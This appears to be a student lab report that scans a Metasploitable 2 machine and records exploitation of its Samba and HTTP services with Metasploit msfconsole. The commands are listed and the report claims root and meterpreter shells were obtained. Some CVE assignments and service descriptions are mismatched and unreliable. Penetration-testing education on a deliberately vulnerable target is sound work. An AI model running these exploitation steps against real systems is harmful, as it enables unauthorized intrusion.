TASKS

**Workflow. Scanning**

During the lab, **scan ONLY ONE IP**. In the Service List table (Table 1), fill in the service information (Service, Port, etc.) for the scanned ([Metaploitable Linux](http://sourceforge.net/projects/metasploitable/files/Metasploitable2/)) address. Table 2 lists the vulnerable services. It is necessary to explain why you think the service may be compromised or exploitable.

[TO FILL] Vulnerability [First, Second, .... N] - Demonstrate (provide evidence) how it was exploited. It is recommended to use the Kali Linux Metasploit msfconsole tool.

**Use of Nmap / Nessus.** Vulnerabilities detected in services: Searching CVE and Metasploit databases.

**Result**

**List of services (scanned IP address)**

****

****

Table 1

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| **Eil. No.** | **Port****(port)** | **Service****(service)** | **Version** | **Vulnerability** **(CVE, EDB-ID, EDB)** |
| 1. | 21/tcp | ftp | vsftpd 2.3.4 | CVE-2011-2523 |
| 2. | 22/tcp | ssh | OpenSSH 4.7p1  |  |
| 3. | 23/tcp | telnet | Linux telnetd | CVE-2014-0224 |
| 4. | 25/tcp | smtp | Postfix smtpd | CVE-2014-3566,CVE-2015-4000 |
| 5. | 80/tcp | http | Apache httpd 2.2.8 | CVE-2019-6579 |
| 6. | 111/tcp | rpcbind | rpcbind 2 |  |
| 7. | 139/tcp | netbios-ssn | Samba smbd 3.X - 4.X |  |
| 8. | 445/tcp | microsoft-ds | Samba smbd 3.X - 4.X |  |
| 9. | 513/tcp | login |  |  |
| 10. | 514/tcp | shell |  |  |
| 11. | 2049/tcp | nfs | Nfs 2-4 |  |
| 12. | 2121/tcp | ccproxy-ftp |  |  |
| 13. | 3306/tcp | mysql | MySQL 5.0.51a-3ubuntu5 |  |
| 14. | 5432/tcp | postgresql |  |  |
| 15. | 5900/tcp | vnc | VNC (protocol 3.3) |  |
| 16. | 6000/tcp | X11 |  |  |
| 17. | 8009/tcp | ajp13 | Apache Jserv (Protocol v1.3) |  |

**List of vulnerable services**

Students identify the TOP five services most vulnerable to CVE (https://nvd.nist.gov/vuln-metrics/cvss)

Table 2

|  |  |  |  |
| --- | --- | --- | --- |
| **Port** | **Protocol** | **Vulnerable service** | **Vulnerable service details** |
| 21 | tcp | FTP | TCP port 21 connects FTP servers to the internet. FTP servers carry numerous vulnerabilities such as anonymous authentication capabilities, directory traversals, and cross-site scripting, making port 21 an ideal target. |
| 22 | tcp | SSH | An unauthenticated remote attacker with network access to port 22 can tunnel random TCP traffic to other hosts on the network via Ruckus devices. A remote attacker could exploit this vulnerability to bypass security restrictions and gain unauthorized access to the vulnerable application. |
| 80 | tcp | HTTP | An attacker with network access to the web server on port 80/TCP or 443/TCP could execute system commands with administrative privileges. The security vulnerability could be exploited by an unauthenticated attacker with network access to the affected service. |
| 139 | tcp | NETBIOS-SSN | Ports 139 and 445 are used for 'NetBIOS' communication |
| 3306 | tcp | MYSQL | MySQL is an open-source SQL relational database management system that Oracle develops and supports. |

**Vulnerability [First]**

**Services: Samba exploit**

**Your result**

|  |  |
| --- | --- |
| **Action performed** | **Output (services, ports)** |
| msfconsole |  |
| msf6 > search samba |  |
| show options |  |
| set RHOST 192.168.1.167 | Setting target IP |
| exploit |  |

By the means of this exploit the root shell access was granted.

**Vulnerability [Second]**

**Services: Port 80 exploit**

**Your result**

|  |  |
| --- | --- |
| **Action performed** | **Output (services, ports)** |
| msfconsole |  |
| use auxiliary/scanner/http/http\_version |  |
| show options |  |
| set RHOST 192.168.1.167 |  |
| run |  |
| grep cgi search php 5.4.2 |  |
| use 1 |  |
| show options |  |
| set RHOST 192.168.1.167 |  |
| run |  |

And that is how we got a meterpreter shell. Now we can have control over the target machine from our machine.